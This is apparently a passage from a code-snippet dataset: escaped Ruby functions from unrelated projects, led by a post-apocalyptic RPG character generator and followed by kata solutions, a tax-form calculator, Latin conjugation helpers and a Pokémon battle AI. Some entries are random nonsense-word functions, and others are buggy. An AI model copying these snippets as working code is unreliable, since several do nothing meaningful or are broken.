Expert: Axe\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"hatchet\\\"; \\\"logger's double-headed axe (battle axe)\\\"\\n @@character_notes << \\\"+3 initiative in encounters with carnivorous mutant plants\\\"\\n literacy_chance(6,0)\\n\\n when \\\"Farmer\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@perception += d(6)\\n @@outfittingcode = 'Poor'\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Pitchfork\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@character_notes << \\\"Can throw pitchfork 2x typical range\\\"\\n literacy_chance(4,32)\\n\\n when \\\"Nomad\\\"\\n\\n @@agility += d(10)\\n @@perception += d(6)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Rider\\\"\\n end\\n @@skills << \\\"Navigate by Stars\\\"\\n @@misc_skill_rolls += d(3)\\n literacy_chance(13,18)\\n\\n when \\\"Trader\\\"\\n def trader_background(roll)\\n case roll\\n when 1..34\\n \\\"self-employed traveling peddler\\\"\\n else\\n \\\"merchant's apprentice\\\"\\n end\\n end\\n def trader_debt(roll)\\n case roll\\n when 1..23\\n @@debts << \\\"Owes #{(d(1000) + d(1000) + d(1000))} to the merchant's guild of the largest regional free town.\\\"\\n end\\n end\\n @@intelligence += (d(10) + (d(10)))\\n @@perception += d(10)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n @@skills << \\\"Barter\\\"\\n @@misc_skill_rolls += (1 + d(3))\\n @@character_notes << \\\"Was a #{trader_background(d(100))} before becoming an excavator.\\\"\\n @@number_of_languages += d(4)\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Can do math\\\"\\n @@money += (d(100) + d(100))\\n trader_debt(d(100))\\n\\n when \\\"Craftsperson\\\"\\n def craft_specialty(roll) # Hub Rules p. 14\\n case roll\\n when 1\\n \\\"glass and plastic jeweler\\\"\\n when 2\\n \\\"potter\\\"\\n when 3\\n \\\"leatherworker\\\"\\n when 4\\n \\\"fletcher/arrow crafter\\\"\\n when 5\\n \\\"beer and wine brewer\\\"\\n when 6\\n \\\"paper maker\\\"\\n when 7..8\\n \\\"cook at an inn\\\"\\n when 9\\n \\\"visual art (maps, signs, insignia, wanted posters, etc.)\\\"\\n when 10\\n \\\"smithy assistant\\\"\\n when 11\\n \\\"weaver\\\"\\n when 12\\n \\\"butcher's assistant\\\"\\n when 13\\n \\\"glass blower\\\"\\n when 14\\n \\\"tattoo artist\\\"\\n when 15..19\\n \\\"carpenter's assistant\\\"\\n when 20\\n \\\"stone mason's assistant\\\"\\n end\\n end\\n if @@intelligence >= 35\\n @@literacy = \\\"Literate\\\"\\n end\\n @@character_notes << \\\"Before becoming an excavator, worked as a #{craft_specialty(d(20))}\\\"\\n\\n when \\\"Student\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += (d(10) + d(10) + d(10))\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n @@educated_skill_rolls += (d(6) + d(6) + 2)\\n @@misc_skill_rolls += d(2)\\n @@number_of_languages += d(4)\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Can do math\\\"\\n\\n when \\\"Scribe\\\"\\n def scribe_past(roll)\\n case roll\\n when 1..66\\n \\\"local government\\\"\\n else\\n \\\"powerful merchant\\\"\\n end\\n end\\n bounty_chance(22,(250 + (d(100) + d(100))))\\n if @@bounty_offered == \\\"Yes\\\"\\n @@bounty_offered = \\\"Yes (death)\\\"\\n @@character_notes << \\\"Certain secrets crossed this scribe's desk, resulting in a hefty bounty...\\\"\\n end\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@perception += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n @@educated_skill_rolls += d(3)\\n @@misc_skill_rolls += 1\\n @@literacy = \\\"Literate\\\"\\n @@do_math = \\\"Advanced math\\\"\\n @@character_notes << \\\"Scribe worked for a #{scribe_past(d(100))} and has a clear knowledge of regional settlements and political climate.\\\"\\n @@number_of_languages += (d(3) + 1)\\n\\n when \\\"Technician\\\"\\n\\n @@agility += d(3)\\n @@accuracy += d(3)\\n @@intelligence += (d(8) + rand(1..8))\\n @@outfittingcode = \\\"Well Equipped\\\"\\n @@tech_skill_rolls += (d(6) + rand(1..6))\\n @@educated_skill_rolls += rand(1..2)\\n @@misc_skill_rolls += d(3)\\n bounty_chance(28,(200 + (d(100) + d(100))))\\n\\n when \\\"Street Urchin\\\"\\n def urchin_past(roll)\\n case roll\\n when 1..26\\n \\\"runaway\\\"\\n else\\n \\\"orphan\\\"\\n end\\n end\\n def urchin_outlaw(roll)\\n case roll\\n when 1..6\\n @@character_notes << \\\"Wanted by the law: if arrested in hometown, faces #{(d(6) + d(6))}-year prison sentence\\\"\\n end\\n end\\n def urchin_debt(roll)\\n case roll\\n when 1..12\\n @@debts << \\\"Owes #{(d(100) + d(100) + d(100))} to former gang in home town, who'll beat and rob the character if s/he returns.\\\"\\n end\\n end\\n @@character_notes << \\\"Character was a/an #{urchin_past(d(100))} before becoming an excavator.\\\"\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(3), 1].max\\n @@agility += d(10)\\n @@accuracy += d(6)\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Impoverished\\\"\\n #skills: brawling d3; criminal d3+1; 1 misc roll\\n @@criminal_skill_rolls += d(3)\\n @@misc_skill_rolls += 1\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n urchin_debt(d(100))\\n\\n when \\\"Street Thug\\\"\\n\\n @@endurance += (d(6) + d(6))\\n @@strength += (d(6) + + d(6))\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: brawling d4; criminal 2; warrior 2; 1 roll on misc table\\n d(4).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n literacy_chance(14,19)\\n bounty_chance(15,\\\"Death\\\")\\n\\n when \\\"Raider\\\"\\n def has_horse(roll)\\n case roll\\n when 1..36\\n @@equipment << \\\"Saddle horse\\\"\\n end\\n end\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: rider d3; criminal 2; warrior 2; 1 roll on misc table\\n d(3).times do\\n @@skills << \\\"Riding\\\"\\n end\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n has_horse(d(100))\\n literacy_chance(16,21)\\n @@character_notes << \\\"9% chance per encounter with any raiders character is recognized, and raiders will (d6: 1-3. try and sell him as a slave/ 4,5. forcibly enlist him and his companions / 6. kill him.)\\\"\\n\\n when \\\"Pirate\\\"\\n\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@outfittingcode = \\\"Poor\\\"\\n #skills: navigate by stars 1; criminal 2; warrior 2; 1 roll on misc table\\n @@skills << \\\"Navigate by Stars\\\"\\n @@criminal_skill_rolls += 2\\n @@warrior_skill_rolls += 2\\n @@misc_skill_rolls += 1\\n literacy_chance(9,12)\\n @@character_notes << \\\"In any encounters with pirates, character is 46% likely to be recognized by a crew member. If so, she will be deemed a traitor to her caste and either stripped and sold as a slave, after a good flogging (01-79% chance), or (80-00%) drawn and quartered on the spot.\\\"\\n\\n when \\\"Thief\\\"\\n\\n @@endurance = [@@endurance - d(3), 1].max\\n @@strength = [@@strength - d(3), 1].max\\n @@agility += d(12)\\n @@accuracy += d(8)\\n @@outfittingcode = \\\"Impoverished\\\"\\n #skills: brawling 1; criminal d3+4; 1 roll on misc table\\n @@skills << \\\"Brawling\\\"\\n @@criminal_skill_rolls += (d(3) + 4)\\n @@misc_skill_rolls += 1\\n literacy_chance(17,24)\\n # @@equipment << \\\"lock pick set\\\", \\\"30m of rope\\\", \\\"a dark cloak\\\", \\\"soft boots for quiet walking\\\"\\n bounty_chance(57,(d(100) + d(100) + d(100) + d(100)))\\n if @@bounty_value > 0\\n @@character_notes << \\\"In hometown, 78% likely character is recognized and 2d6 raiders are sent to cripple and rob her, plus any associates she might travel with.\\\"\\n end\\n\\n when \\\"Assassin\\\"\\n\\n @@endurance += d(6)\\n @@strength += (d(6) + (rand(1..6)))\\n @@agility += d(10)\\n @@accuracy += d(10)\\n @@perception += d(10)\\n @@outfittingcode = \\\"Fully Armed\\\"\\n #skills: martial arts d4; knife throwing d3; criminal d3; warrior d6; 1 roll on misc table\\n d(4).times do\\n @@skills << \\\"Martial Arts\\\"\\n end\\n d(3).times do\\n @@skills << \\\"Knife Throwing\\\"\\n end\\n @@criminal_skill_rolls += d(3)\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += 1\\n\\n @@equipment << \\\"black cloak and ninja style outfit (in addition to regular streeth clothes)\\\"\\n def assassin_poison(roll)\\n case roll\\n when 1..7\\n @@equipment << \\\"100ml of type C death poison (10ml needed to coat a blade and potentially poison anybody who is punctured)\\\"\\n end\\n end\\n assassin_poison(d(10))\\n @@character_notes << \\\"In each encounter with bounty hunters, 41% chance character wanted dead.\\\"\\n @@character_notes << \\\"While entering any town while not in disguise, 13% chance per day that the assassin’s brotherhood have located him and will send d6+2 members after him that night.\\\"\\n\\n when \\\"Draftee\\\"\\n def draftee_history(roll)\\n case roll\\n when 1..87\\n \\\"Drafted for home town militia\\\"\\n else\\n \\\"Drafted while visiting a neighboring town\\\"\\n end\\n end\\n @@endurance += d(3)\\n @@strength += d(3)\\n @@outfittingcode = \\\"Modest\\\"\\n #skills: warrior 1; misc d2\\n @@warrior_skill_rolls += 1\\n @@misc_skill_rolls += d(2)\\n literacy_chance(28,33)\\n @@character_notes << \\\"73% chance upon returning to town where drafted, she'll be recognized and arrested. d6: 1-3. hang her from the nearest tree/ 4,5. sell her as a slave/ 6. put her in jail for 2d6 months before drafting her back into the army, but chain her at night.\\\"\\n\\n when \\\"Militia Soldier\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@outfittingcode = \\\"Modest\\\"\\n #skills: warrior d3; misc d2\\n @@warrior_skill_rolls += d(3)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(32,39)\\n\\n when \\\"Watchman\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(10)\\n @@perception += d(10)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d3; warrior d3; misc d2\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += d(3)\\n @@misc_skill_rolls += d(2)\\n @@character_notes << \\\"not well liked in his home town, and if he returns, there is a 17% chance that a mob of 2d8 raiders will somehow try to corner him and his associates, and beat them soundly, if not kill them.\\\"\\n literacy_chance(22,31)\\n\\n when \\\"Infantryman\\\"\\n def infantry_history(roll)\\n case roll\\n when 1..68\\n @@character_notes << \\\"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\\\"\\n @@enemies << \\\"City/nation army character previously served with.\\\"\\n when 69..89\\n @@character_notes << \\\"Retiree from the army. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\\\"\\n when 90..100\\n @@character_notes << \\\"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\\\"\\n end\\n end\\n infantry_history(d(100))\\n @@endurance += d(12)\\n @@strength += d(12)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: warrior d6; misc d2\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(15,22)\\n\\n when \\\"Cavalry\\\"\\n def cavalry_history(roll)\\n case roll\\n when 1..68\\n @@character_notes << \\\"Deserter. 47% chance per encounter with city's/nation's army, character recognized and jailed 2d6 years.\\\"\\n when 69..89\\n @@character_notes << \\\"Retiree. 47% chance per encounter with city's/nation's army, character recognized, saluted, and assisted.\\\"\\n when 90..100\\n @@character_notes << \\\"AWOL - was sole survivor of an operation and never returned to active duty. 47% chance per encounter with city's/nation's army, character recognized and reassigned to a new unit.\\\"\\n end\\n end\\n cavalry_history(d(100))\\n @@endurance += d(10)\\n @@strength += d(12)\\n @@agility += d(3)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: riding d6; warrior d4; misc d2\\n d(6).times do\\n @@skills << \\\"Riding\\\"\\n end\\n @@warrior_skill_rolls += d(4)\\n @@misc_skill_rolls += d(2)\\n literacy_chance(15,22)\\n\\n when \\\"Mercenary\\\"\\n def mercenary_bonus_skills(roll1,roll2,roll3,roll4,roll5,roll6)\\n case roll1\\n when 1..36\\n d(3).times do\\n @@skills << \\\"Gambling\\\"\\n end\\n end\\n case roll2\\n when 1..14\\n @@skills << \\\"Negotiation\\\"\\n end\\n case roll3\\n when 1..32\\n d(3).times do\\n @@skills << \\\"Lying\\\"\\n end\\n end\\n case roll4\\n when 1..29\\n d(3).times do\\n @@skills << \\\"Riding\\\"\\n end\\n end\\n case roll5\\n when 1..32\\n @@criminal_skill_rolls += d(3)\\n end\\n case roll6\\n when 1..43\\n @@equipment << \\\"Riding horse\\\"\\n end\\n end\\n def mercenary_history(roll)\\n case roll\\n when 1..87\\n @@character_notes << \\\"Left mercenary employment on good terms.\\\"\\n when 88..100\\n @@character_notes << \\\"14% likely per every meeting with mercenaries in that region that he will run into his own squad, who will be angry that he left and rob and sell him into slavery, along with any companions.\\\"\\n end\\n end\\n mercenary_bonus_skills(d(100),d(100),d(100),d(100),d(100),d(100))\\n mercenary_history(d(100))\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d3; warrior d6; misc d4\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += d(6)\\n @@misc_skill_rolls += d(4)\\n literacy_chance(18,27)\\n\\n when \\\"Elite Soldier\\\"\\n def elite_soldier_history(roll)\\n case roll\\n when 1..38\\n @@character_notes << \\\"Retired from military service.\\\"\\n else\\n case bounty_roll(roll)\\n when 1..73\\n @@bounty_offered = (200 + d(100) + d(100))\\n @@enemies << \\\"Squad of #{d(6) + d(6) + d(6)} from former military company hunting this character.\\\"\\n end\\n bounty_roll(d(100))\\n end\\n end\\n elite_soldier_history(d(100))\\n @@endurance += (d(8) + (rand(1..8)))\\n @@strength += (d(8) + (rand(1..8)))\\n @@agility += d(8)\\n @@accuracy += d(8)\\n @@willpower += d(8)\\n @@outfittingcode = \\\"Well Equipped\\\"\\n #skills: brawling d4; warrior d6+4; misc d4\\n d(4).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += (4 + d(6))\\n @@misc_skill_rolls += d(4)\\n literacy_chance(34,41)\\n\\n else puts \\\"Hmm... looks like caste-based attributes and skills assignment screwed up. Debug mofo!\\\"\\n\\n end\\n\\nend\",\n \"def goodVsEvil(good, evil)\\n # good_power, evil_power = 0, 0\\n # good.split.each_with_index do |num, i|\\n # if i < 3\\n # good_power += num.to_i * (i + 1)\\n # elsif i < 5\\n # good_power += num.to_i * i\\n # elsif i == 5\\n # good_power += num.to_i * 2 * i\\n # end\\n # end\\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\\n if i < 3\\n sum + num.to_i * (i + 1)\\n elsif i < 5\\n sum + num.to_i * i\\n elsif i == 5\\n sum + num.to_i * 2 * i\\n end\\n end\\n \\n \\n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\\n case i\\n when 0\\n sum + num.to_i * (i + 1)\\n when 1, 2, 3\\n sum + num.to_i * 2\\n when 4\\n sum + num.to_i * (i - 1)\\n when 5\\n sum + num.to_i * i\\n when 6\\n sum + num.to_i * (i + 4) \\n end\\n end\\n \\n if evl > god\\n str = \\\"Evil eradicates all trace of Good\\\"\\n elsif evl < god\\n str = \\\"Good triumphs over Evil\\\"\\n else\\n str = \\\"No victor on this battle field\\\"\\n end\\n \\n \\\"Battle Result: #{str}\\\"\\nend\",\n \"def phase_one\\n\\t#Intro\\n\\n\\t\\t@borneo.tribes.each do |tribe|\\n\\t\\tputs \\\"Welcome #{tribe}\\\".green\\n\\t\\tend\\n\\nprint_header(\\\"For Phase 1, you will now compete in 8 challenges for immunity. Good luck!\\\")\\n\\n\\t8.times do\\n\\t\\timmunity_challenge_losing_tribe = @borneo.immunity_challenge\\n\\t\\tputs \\\"#{immunity_challenge_losing_tribe}\\\".green + \\\" has lost the immunity challenge and must now vote out 1 member.\\\"\\n\\t\\tmember_voted_off = immunity_challenge_losing_tribe.tribal_council\\n\\tend\\t\\nend\",\n \"def winter_olympics_sport; end\",\n \"def dictator_Iraq\\n puts \\\"Saddam formally rose to power in 1979, although he had been the de facto head\\n of Iraq for several years prior. Within his own country, he suppressed\\n his own citizens, particularly the Shi'a and Kurdish people. He also maintained\\n power during the Iran–Iraq War and the Gulf War, and was accused of using\\n chemical weapons. To alleviate the threat of revolution, Saddam afforded\\n certain benefits to the potentially hostile population. Membership in the\\n Ba'ath Party remained open to all Iraqi citizens regardless of background.\\n However, repressive measures were taken against its opponents. The major\\n instruments for accomplishing this control were the paramilitary and police\\n organizations. Saddam was notable for using terror against his own people.\\n Saddam's regime was responsible for the deaths of at least 250,000\\n Iraqis and committed war crimes in Iran, Kuwait, and Saudi Arabia. Human\\n Rights Watch and Amnesty International issued regular reports of widespread\\n imprisonment and torture.\\\"\\n\\n crazy_acts\\n\\nend\",\n \"def huella_nutricional\\n ((get_impacto_energia + get_impacto_gei)/2).ceil(2)\\n end\",\n \"def porcentajegrasa\\n\\t\\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\\n\\tend\",\n \"def summer_olympics_sport; end\",\n \"def winter_paralympics_sport; end\",\n \"def diarchic()\\n menald_apinae(preadvance, herpetotomy)\\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\\n unorbital?(hedgy_intervarietal, omenology)\\n end\",\n \"def long_appearance\\n # How Med does it:\\n # description\\n # glance\\n # eq\\n # inventory\\n \\\"{!{FG#{description}\\\\n\\\\n{FY{#{short_name} is in excellent condition.\\\"\\n end\",\n \"def therapist_quest; end\",\n \"def compute_actual\\n line[1] = @ho_form.line['sqft']\\n line[2] = @ho_form.line['total_sqft']\\n line[3] = (line[1] * 100.0 / line[2]).round(2)\\n\\n line['4/gross_inc'] = gross_income\\n\\n # We make a simplifying assumption that (1) every Home Office Expense\\n # applies to every Home Office form, and (2) all expenses are indirect.\\n categorize_records('Home Office Expense')\\n #\\n # We assume that the home office using the actual method is being rented and\\n # thus there are no mortgage payments or such on it.\\n #\\n #fill_for_categories(self, '5b', 'Casualty_Losses')\\n #fill_for_categories(self, '6b', 'Mortgage_Interest')\\n #fill_for_categories(self, '7b', 'Real_Estate_Taxes')\\n\\n line['8b'] = sum_lines('5b', '6b', '7b')\\n line[9] = (line['8b'] * line[3] / 100.0).round\\n line[10] = line[9]\\n\\n line[11] = other_business_expenses\\n\\n line[12] = sum_lines(10, 11)\\n line['13/ho_max_ded'] = line[4] - line[12]\\n\\n fill_for_categories(self, '16b', 'Insurance')\\n fill_for_categories(self, '17b', 'Rent')\\n fill_for_categories(self, '18b', 'Repairs')\\n fill_for_categories(self, '19b', 'Utilities')\\n fill_other_categories(\\n self, '20b', continuation: 'Other Home Office Expenses'\\n )\\n line['21b'] = sum_lines(*%w(14b 15b 16b 17b 18b 19b 20b))\\n line[22] = (line['21b'] * line[3] / 100.0).round\\n\\n # Assume no carryover for line 23\\n line['24/ho_ded'] = sum_lines('21a', 22, 23)\\n line[25] = [ line[13], line[24] ].min\\n line[26] = line[13] - line[25]\\n\\n # Assume no casualty losses or depreciation for lines 27-29 and 33\\n line[30] = sum_lines(27, 28, 29)\\n line[31] = [ line[26], line[30] ].min\\n line[32] = sum_lines(10, 25, 31)\\n\\n line[33] = BlankZero\\n line['34/ho_expenses'] = line[32] - line[33]\\n\\n end\",\n \"def phase_three\\n puts \\\"Phase 3 has been started\\\"\\n\\n 7.times do\\n immune = @borneo.individual_immunity_challenge\\n puts \\\"#{immune} wins the immunity\\\".blue\\n\\t\\tvoted_off_contestant = @merge_tribe.tribal_council(immune: immune)\\n\\t\\t@jury.add_member voted_off_contestant\\n\\t\\tputs \\\"#{voted_off_contestant}! is OUT!\\\".red\\n end\\nend\",\n \"def future_passive_participle\\n mybase = participial_stem+\\\"nd\\\"\\n singular_endings=%w(us a um)\\n return singular_endings.collect{|x|Linguistics::Latin::Phonographia.fix_macrons( mybase+\\\"#{x}\\\".chomp)}.join(', ')\\n end\",\n \"def largest_pandigital\\r\\n (9234..9500).map { |n| n*10**5 + n*2 }.select{ |n| n.pandigital? }.max\\r\\nend\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def prepare_qiazol_chlfrm_etoh(num_ops)\\n reagents = 'QIAzol, Chloroform, & Ethanol'\\n \\n # prepares fumehood for working with organics\\n prepare_fumehood(reagents)\\n \\n # Calcs the required reagent volumes in mLs\\n qia_vol = (num_ops * 0.7) + 0.2#mLs\\n chlfrm_vol = (num_ops * 0.44) + 0.2#mLs\\n etoh_vol = (num_ops * 0.5) + 0.2#mL\\n \\n show do\\n title \\\"Aliquoting #{reagents} in the Fume Hood\\\"\\n separator\\n note \\\"Gather a <b>tube rack</b>\\\"\\n note \\\"Gather <b>#{reagents.split(',').length}</b> falcon tubes that are able to hold the volumes below.\\\"\\n reagents_tab = [\\n [\\\"# of Samples\\\",\\\"QIAzol (ml)\\\", \\\"Chloroform (ml)\\\", \\\"100% Ethanol (ml)\\\"], \\n [num_ops, qia_vol.round(3), chlfrm_vol.round(3), etoh_vol] \\n ] \\n table reagents_tab\\n note \\\"Leave #{reagents} in fumehood until needed.\\\"\\n note \\\"<b>Once finished, cap and store properly.</b>\\\"\\n end\\n end\",\n \"def text_pq_fare(pq)\\n\\t \\tai = pq[:priced_itinerary][:air_itinerary_pricing_info]\\n\\t \\ttf = ai[:itin_total_fare]\\n\\t \\treturn \\t\\\"#{ai[:passenger_type_quantity][:@quantity].to_i}- \\\"\\\\\\n\\t \\t\\\"#{tf[:base_fare][:@currency_code]}#{tf[:base_fare][:@amount]} \\\"\\\\\\n\\t \\t\\\"#{tf[:equiv_fare][:@currency_code]}#{tf[:equiv_fare][:@amount]} \\\"\\\\\\n\\t \\t\\\"#{tf[:taxes][:tax][:@amount]}#{tf[:taxes][:tax][:@tax_code]} \\\"\\\\\\n\\t \\t\\\"#{tf[:total_fare][:@currency_code]}#{tf[:total_fare][:@amount]}\\\"\\\\\\n\\t \\t\\\"#{ai[:passenger_type_quantity][:@code]} \\\"\\n\\t end\",\n \"def set_perex\\n # self.perex = body[0..50] if perex.blank?\\n # pokud perex je prazdny, nastavme jako perex prvnich 50 znaku z body.\\n # toto reseni ma samozrejme mnoho chyb, muze useknout slovo apod.\\n self.perex = body.split[0..19].join(' ') if perex.blank?\\n end\",\n \"def active_voice_subjunctive_mood_perfect_tense\\n asp_base =\\n first_person_perfect[0..first_person_perfect.length-2] +\\n \\\"erī\\\"\\n TenseBlock.new(\\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\\n asp_base + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\\n )\\n end\",\n \"def grasa\\n\\t\\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\\n\\tend\",\n \"def romeo_and_juliet; end\",\n \"def the_lineup #in short, this returns only phrases that have situations which are selected AND scores (familiarity levels) which have been selected\\n the_situations = []\\n the_scores = []\\n the_phrases = []\\n @situations.each do |s|\\n if s.studying_now == true\\n the_situations << s.id\\n else\\n next\\n end\\n end\\n#the_situations = @situations.map do {|s| s.studying_now == true}\\n# do this for scores (with map)\\n# do this for phrases (with map)\\n\\n @scores.each do |s|\\n if s.studying_now == true\\n the_scores << s.id\\n else\\n next\\n end\\n end\\n\\n the_situations.each do |this_situation_id| #checking situations that are true\\n a_situation = @situations.find(this_situation_id) #a single situation that is true\\n\\n the_scores.each do |this_score_id| #checking scores that are true\\n a_score = @scores.find(this_score_id) #a single true score for this iteration\\n\\n all_phrases_in_a_situation = a_situation.phrases.all #all the phrases for the relevant situation\\n all_phrases_in_a_situation.each do |this_phrase| #cycling over a given phrase in a true situation\\n if (this_phrase.score_id == a_score.id) && (this_phrase.familiarity_score < 100.0)\\n the_phrases << this_phrase\\n else\\n next\\n end\\n end\\n\\n end\\n end\\n\\n the_phrases\\n\\n #a phrase should have the correct id from situations array\\n #a phrase should have the correct id from scores array\\n #a phrase should also have a score less than the trip wire\\n\\n #phrase.familiarity score should autoset at situations home (it does)\\n end\",\n \"def whichever_ghostweed_jud(extramental, unswaddling, socially_lacery)\\n mesiogingival_pelletierine(ambushment, suzy_cragged, triorthogonal_soprano)\\n pectinacean_ayin?(bibliopolically, overstrong_chintz, methenyl)\\n preparable_overphysic(meteor)\\n end\",\n \"def pandigital_multiples\\n 932718654\\nend\",\n \"def probono\\n find_worldwide_by_permalink_and_active(\\n 'luleka', true, :include => :piggy_bank)\\n end\",\n \"def sushi_cost(meal)\\n cost = 0\\n sushi_tracker = 0\\n meal.split('').each do |meal_content|\\n sushi_tracker += 1 unless meal_content == \\\" \\\"\\n if meal_content == \\\"r\\\" && sushi_tracker % 5 != 0\\n cost += 2\\n elsif meal_content == \\\" \\\"\\n cost\\n end\\n end\\n print cost\\nend\",\n \"def phonetic_coverage\\n 1 - phones_in_word_list/@initial_phones.to_f\\n end\",\n \"def active_voice_subjunctive_mood_pastperfect_tense# {{{\\n asp_base = first_person_perfect[0..first_person_perfect.length-2] + \\\"issē\\\"\\n TenseBlock.new( ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\\n asp_base + ending\\n end,\\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_pastperfect_tense] }\\n )\\n end\",\n \"def text\\n #[@organism, @symbol, @description, @aka, @protnames, @summary,@comentaries.join(\\\". \\\")].join(\\\". \\\") \\n [@symbol, @description, @aka, @protnames, @summary].flatten.join(\\\". \\\") \\n end\",\n \"def franchisee_royalty_pay_slip\\n \\n end\",\n \"def electoral_college\\n ec_seats = @seats.dup\\n unless ec_seats.has_key?(\\\"District of Columbia\\\")\\n\\tec_seats[\\\"District of Columbia\\\"] = 1\\n end\\n ec_seats.each {|k,v| ec_seats[k] = v + 2}\\n ec_seats\\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak \\n and the outbreak will spread across the state in #{speed_of_spread} months. \\\\n\\\\n\\\"\\n end\",\n \"def health_benefit; end\",\n \"def throw_fierce_lqqks\\n 'Here I am, giving you Soviet-Satellite realness'\\n end\",\n \"def in_law; end\",\n \"def emma\\n for i in 1..105\\n\\n \\\"pling\\\" if i%3 == 0\\n \\\"plang\\\" if i%5 == 0\\n \\\"plong\\\" if i%7 == 0\\n i.to_s if i%7 != 0 && i%5 != 0 && i%3 != 0\\n \\\" \\\"\\n\\n end\\nend\",\n \"def pronunciations(input)\\n list = 1\\n input.body.each do |pronuciation|\\n current_pronunciation = pronuciation['raw']\\n puts \\\"#{list}. #{current_pronunciation}\\\"\\n list += 1\\n end\\n end\",\n \"def process_ia(pokemon)\\n if !$game_temp.trainer_battle and $wild_battle.is_roaming?(pokemon) and BattleEngine::_can_switch(get_pokemon(pokemon))\\n return _stack_add_flee(pokemon: pokemon)#@results<<[3, pokemon, :roaming]\\n end\\n skill = nil\\n skills_set = pokemon.skills_set\\n be = pokemon.battle_effect\\n i = 0\\n j = 0\\n ia_results = []\\n #> Moulinette dans les skills\\n 4.times do |i|\\n skill = skills_set[i]\\n break unless skill\\n #> Entrave\\n if(be.has_disable_effect? and skill.id == be.disable_skill_id)\\n puts \\\"#{skill} sous entrave\\\"\\n next\\n end\\n pokemon = get_pokemon(pokemon)\\n #> Moulinette dans les cibles\\n if $game_temp.vs_type == 1\\n if skill.target == :user or skill.target == :user_or_adjacent_ally or skill.target == :all_ally\\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\\n else\\n ia_results << skill_heuristic_calculation(pokemon, @actors[0], skill, i)\\n end\\n else\\n targets = util_targetselection_get_possible(pokemon, skill)\\n unless targets\\n if skill.target == :user\\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\\n next\\n else\\n case skill.target\\n when :adjacent_all_foe # e! e! ex / ux ax ax\\n targets = util_targetselection_adjacent_foe(pokemon)\\n when :all_foe # e! e! e! / ux ax ax\\n targets = ::BattleEngine.get_enemies!(pokemon)\\n when :adjacent_all_pokemon # e! e! ex / ux a! ax\\n targets = util_targetselection_adjacent_pokemon(pokemon)\\n when :all_ally # ex ex ex / u! a! a!\\n targets = ::BattleEngine.get_ally!(pokemon)\\n else\\n targets = ::BattleEngine.get_enemies!(pokemon)\\n end\\n end\\n end\\n targets.each do |target|\\n ia_results << skill_heuristic_calculation(pokemon, target, skill, i)\\n end\\n end\\n=begin\\n $game_temp.vs_type.times do |j|\\n if(@actors[j] and @actors[j].hp > 0)\\n ia_results << skill_heuristic_calculation(pokemon, @actors[j], skill, i)\\n end\\n end\\n=end\\n end\\n ia_results.sort! do |a,b|\\n b[:value] <=> a[:value]\\n end\\n result = 